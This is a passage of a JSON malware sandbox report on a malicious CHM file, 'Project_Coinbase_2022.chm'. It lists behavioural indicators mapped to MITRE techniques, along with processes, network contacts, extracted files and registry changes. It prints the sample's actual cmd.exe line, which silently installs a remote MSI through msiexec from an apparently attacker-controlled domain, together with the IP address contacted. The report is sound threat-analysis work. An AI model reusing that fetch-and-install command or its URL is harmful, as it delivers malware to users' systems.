https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi\" (UID: 00000000-00003932)","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":5,"id":"target-193","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"hh.exe\" called \"ShellExecuteA\" with parameter cmd.exe (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"hh.exe\" allocated memory in \"%WINDIR%\\Fonts\\msgothic.ttc\"","origin":"API Call","mitre_attack_id":"T1055.012","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"MSI649C.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI649C.tmp]- [targetUID: 00000000-00001876]\n \"MSI645C.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI645C.tmp]- [targetUID: 00000000-00001876]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 1500 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\msiexec.exe\" (Handle: 144)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 140)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 140)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\timeout.exe\" (Handle: 140)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.86.122.181 on port 443 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"msiexec.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected text artifact in screenshot that indicate file could be ransomware","description":"\"cypto\" (Source: screen_6.png, Indicator: \"crypto\")","origin":"File/Memory","relevance":10,"id":"string-12","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"hh.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00003864)\n \"msiexec.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00001876)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineW@KERNEL32.DLL at 00000000-00003932-45750-4-FFF6B6A4\n GetCommandLineW@KERNEL32.DLL at 00000000-00001876-65361-4-FFF6B6A4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module","description":"GetModuleFileNameW@KERNEL32.DLL at 00000000-00003932-45750-23-FFF67D2C\n GetModuleFileNameW@KERNEL32.DLL at 00000000-00001876-65361-23-FFF67D2C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-131","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetReadFile@WININET.DLL\" in \"hh.exe\"\n \"InternetOpenA@WININET.DLL\" in \"hh.exe\"\n \"InternetOpenW@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"hh.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"msiexec.exe\" marked \"%TEMP%\\Cab3EA1.tmp\" for deletion\n \"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI645C.tmp\" for deletion\n \"msiexec.exe\" marked \"%TEMP%\\Tar3EB2.tmp\" for deletion\n \"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI649C.tmp\" for deletion\n \"msiexec.exe\" marked \"%WINDIR%\\Installer\\MSI53F0.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"hh.exe\" opened \"%TEMP%\\IMTC94.tmp\" with delete access\n \"hh.exe\" opened \"%TEMP%\\IMTCB29.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\System32\\en-US\\msiexec.exe.mui\" with delete access\n \"msiexec.exe\" opened \"%TEMP%\\Cab3EA1.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI645C.tmp\" with delete access\n \"msiexec.exe\" opened \"%TEMP%\\Tar3EB2.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI649C.tmp\" with delete access\n \"msiexec.exe\" opened \"%WINDIR%\\Installer\\MSI53F0.tmp\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"msiexec.exe\" called an API \"AdjustTokenPrivileges\"","origin":"API Call","mitre_attack_id":"T1134","relevance":5,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"ShellExecuteW@SHELL32.DLL\" in \"hh.exe\"\n \"URLDownloadToFileW@URLMON.DLL\" in \"hh.exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \"hh.exe\"\n \"InternetReadFile@WININET.DLL\" in \"hh.exe\"\n \"URLDownloadToFileA@URLMON.DLL\" in \"hh.exe\"\n \"InternetOpenA@WININET.DLL\" in \"hh.exe\"\n \"InternetOpenW@WININET.DLL\" in \"hh.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"hh.exe\"\n \"CreateCompatibleBitmap@GDI32.DLL\" in \"hh.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"hh.exe\"\n \"GetIpNetTable@IPHLPAPI.DLL\" in \"msiexec.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$31","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"hh.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"hh.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"msiexec.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"msiexec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"hh.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"msiexec.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"MSI649C.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI649C.tmp]- [targetUID: 00000000-00001876]\n \"MSI645C.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%WINDIR%\\Installer\\MSI645C.tmp]- [targetUID: 00000000-00001876]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"\n \"Cab3EA1.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"","origin":"Binary File","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$32","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"Anti-Reverse Engineering","name":"Uses timeout excessively (often used to bypass analysis)","description":"Process \"timeout.exe\" with commandline \"timeout /t 60\" (UID: 00000000-00003852)","origin":"Monitored Target","mitre_attack_id":"T1497","relevance":7,"id":"target-87","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"17/61 Antivirus vendors marked sample as malicious (27% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%WINDIR%\\Installer\\MSI649C.tmp\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%WINDIR%\\Installer\\MSI645C.tmp\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Tries to access unusual system drive letters","description":"\"msiexec.exe\" touched \"S:\"\n \"msiexec.exe\" touched \"T:\"\n \"msiexec.exe\" touched \"U:\"\n \"msiexec.exe\" touched \"V:\"\n \"msiexec.exe\" touched \"W:\"\n \"msiexec.exe\" touched \"X:\"\n \"msiexec.exe\" touched \"Y:\"\n \"msiexec.exe\" touched \"K:\"\n \"msiexec.exe\" touched \"L:\"\n \"msiexec.exe\" touched \"M:\"\n \"msiexec.exe\" touched \"N:\"\n \"msiexec.exe\" touched \"O:\"\n \"msiexec.exe\" touched \"P:\"","origin":"API Call","mitre_attack_id":"T1083","relevance":9,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries the installation properties of user installed products"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Uses timeout excessively (often used to bypass analysis)"},{"detail":"Contains ability to check if a debugger is running"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Spreading","details_count":2,"details":[{"detail":"Tries to access unusual system drive letters"},{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":13,"imported_dlls_count":119,"dropped_files_count":0,"extracted_files_count":9,"files_written_count":20,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":12,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["suspicious","targeted","evasive","exploit"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"63a2085a06bf7a3e353de93b","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Exploit.CHM","contacted_countries":["USA"],"submit_name":"Project_Coinbase_2022.chm","analysis_start_time":"2022-12-20T19:09:15+00:00","indicators_count":{"informative":57,"suspicious":32,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.86.122.181","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"dns_resolutions":[{"domain":"www.thecloudnet.org","address":"172.86.122.181","ttl":600,"country":"United States","registrar_name":"Porkbun, LLC","registrar_organization":"Private by Design, LLC","registrar_name_servers":"maceio.ns.porkbun.com","registrar_creation_date":"2022-11-24T09:25:36+00:00","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}],"processes":[{"pid":3864,"ppid":0,"name":"hh.exe","command_line":"C:\\Project_Coinbase_2022.chm","sha256":"65c2b472d2f5c29b9f3b16ef803a85419c0c0a4088c128c96733584ae4017919","normalized_path":"%WINDIR%\\hh.exe","uid":"00000000-00003864","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoUlEQVR42u1XQQ6AIAzj6TyNn1UXQ8JBYYWNGKBxF1loU1iNIRwMIsYI5r05MXA/H+VKnlJCjTyX9JmS5w015KUTpkJadrsfh2bztQVYiZxGTguQMWOqNR2yRgWTNGvwZAGqY9mViIyAFnnX/NsIAIaiVot3AcBw1mfULp95zvc4UDrhIuD3Drh8fFgHXAUcB6beftaBsm/dHNhXwPnn2wYX4csqG5cSnFYAAAAASUVORK5CYII="},{"pid":3460,"ppid":3864,"name":"cmd.exe","command_line":"/c DeviceCredentialDeployment & FOR %i IN (%systemroot%\\system32\\msiex*) DO msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi & timeout /t 60","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003864","uid":"00000000-00003460"},{"pid":3932,"ppid":3460,"name":"msiexec.exe","command_line":"msiexec -c /Q /i https://www.thecloudnet.org/0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi","sha256":"1a899bef4f64d5cdd23911a6ea09f69483e4dba8e76cda38a37dab6fa24406e8","normalized_path":"%WINDIR%\\system32\\msiexec.exe","parent_uid":"00000000-00003460","uid":"00000000-00003932"},{"pid":3852,"ppid":3460,"name":"timeout.exe","command_line":"timeout /t 60","sha256":"7e93723c0c34ef98444e5ce9013fef220975b96291a79053fd4c9b3d3550aeb3","normalized_path":"%WINDIR%\\system32\\timeout.exe","parent_uid":"00000000-00003460","uid":"00000000-00003852"},{"pid":1876,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"1a899bef4f64d5cdd23911a6ea09f69483e4dba8e76cda38a37dab6fa24406e8","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00001876","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoUlEQVR42u1XQQ6AIAzj6TyNn1UXQ8JBYYWNGKBxF1loU1iNIRwMIsYI5r05MXA/H+VKnlJCjTyX9JmS5w015KUTpkJadrsfh2bztQVYiZxGTguQMWOqNR2yRgWTNGvwZAGqY9mViIyAFnnX/NsIAIaiVot3AcBw1mfULp95zvc4UDrhIuD3Drh8fFgHXAUcB6beftaBsm/dHNhXwPnn2wYX4csqG5cSnFYAAAAASUVORK5CYII="}],"all_imported_dlls":["webio.dll","cabinet.dll","rsaenh.dll","imm32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","d3d11.dll","lpk.dll","msctf.dll","WSHTCPIP.DLL","dhcpcsvc6.dll","propsys.dll","mshtml.dll","DWrite.dll","dnsapi.dll","rasadhlp.dll","uxtheme.dll","urlmon.dll","iertutil.dll","netutils.dll","user32.dll","bcryptprimitives.dll","npmproxy.dll","mscoreei.dll","devrtl.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","VGX.dll","msimsg.dll","bcrypt.dll","KernelBase.dll","atl.dll","api-ms-win-downlevel-version-l1-1-0.dll","gdi32.dll","comctl32.dll","cryptbase.dll","cryptsp.dll","wkscli.dll","wship6.dll","dhcpcsvc.dll","winsta.dll","rpcrt4.dll","sspicli.dll","WindowsCodecs.dll","RstrtMgr.dll","clr.dll","msls31.dll","sechost.dll","Wldap32.dll","wininet.dll","advapi32.dll","cryptnet.dll","gpapi.dll","fltLib.dll","crypt32.dll","mpr.dll","sfc.dll","usp10.dll","setupapi.dll","ntmarta.dll","mswsock.dll","nlaapi.dll","ole32.dll","version.dll","mscoree.dll","kernel32.dll","oleaut32.dll","apphelp.dll","d2d1.dll","GdiPlus.dll","FWPUCLNT.DLL","profapi.dll","userenv.dll","AcLayers.dll","netprofm.dll","ntdll.dll","d3d10warp.dll","normaliz.dll","sfc_os.dll","VxSSL64.dll","clbcatq.dll","mlang.dll","AcGenral.dll","fusion.dll","itss.dll","winbrand.dll","ws2_32.dll","jscript9.dll","srvcli.dll","winhttp.dll","nsi.dll","ieframe.dll","msimtf.dll","shlwapi.dll","SensApi.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","cfgmgr32.dll","shell32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","dwmapi.dll","RpcRtRemote.dll","devobj.dll","msasn1.dll","ncrypt.dll","secur32.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","netapi32.dll","credssp.dll","schannel.dll","dxgi.dll","msvcrt.dll","api-ms-win-downlevel-user32-l1-1-0.dll","IPHLPAPI.DLL","rpcss.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","sxs.dll","msi.dll","winnsi.dll","wintrust.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Tar3EB2.tmp","sha256":"c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"MSI645C.tmp","sha256":"44ffc4959be0ddb18b02d59c75e78e3e721992e362a2f90cae19adb3271886b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"MSI649C.tmp","sha256":"44ffc4959be0ddb18b02d59c75e78e3e721992e362a2f90cae19adb3271886b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"Cab3EA1.tmp","sha256":"10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"hh.dat","sha256":"3e6504391211b2bcc39c5b610e12bdffc3ccb7dc252e5aa4b30fdee0b1f4c12c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"IMTC94.tmp","sha256":"bbb45ccb31607f92d62ee94204b0e2e4ca802ea6ae6a7b8b6aebfe99655fa920","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"IMTCB29.tmp","sha256":"78f3051262a0f4e0e9313ef460108d6dd7df6d5dbb6e535825a54ad97e36a4f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"name":"MSI53F0.tmp","sha256":"f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%TEMP%\\Tar3EB2.tmp","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%TEMP%\\IMTC94.tmp","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%TEMP%\\~DF000EAC353025B186.TMP","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%TEMP%\\~DFF840DBFD5C106CE5.TMP","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"path":"%WINDIR%\\Fonts","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKLM\\SOFTWARE\\CLASSES\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\SECURE\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\","sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 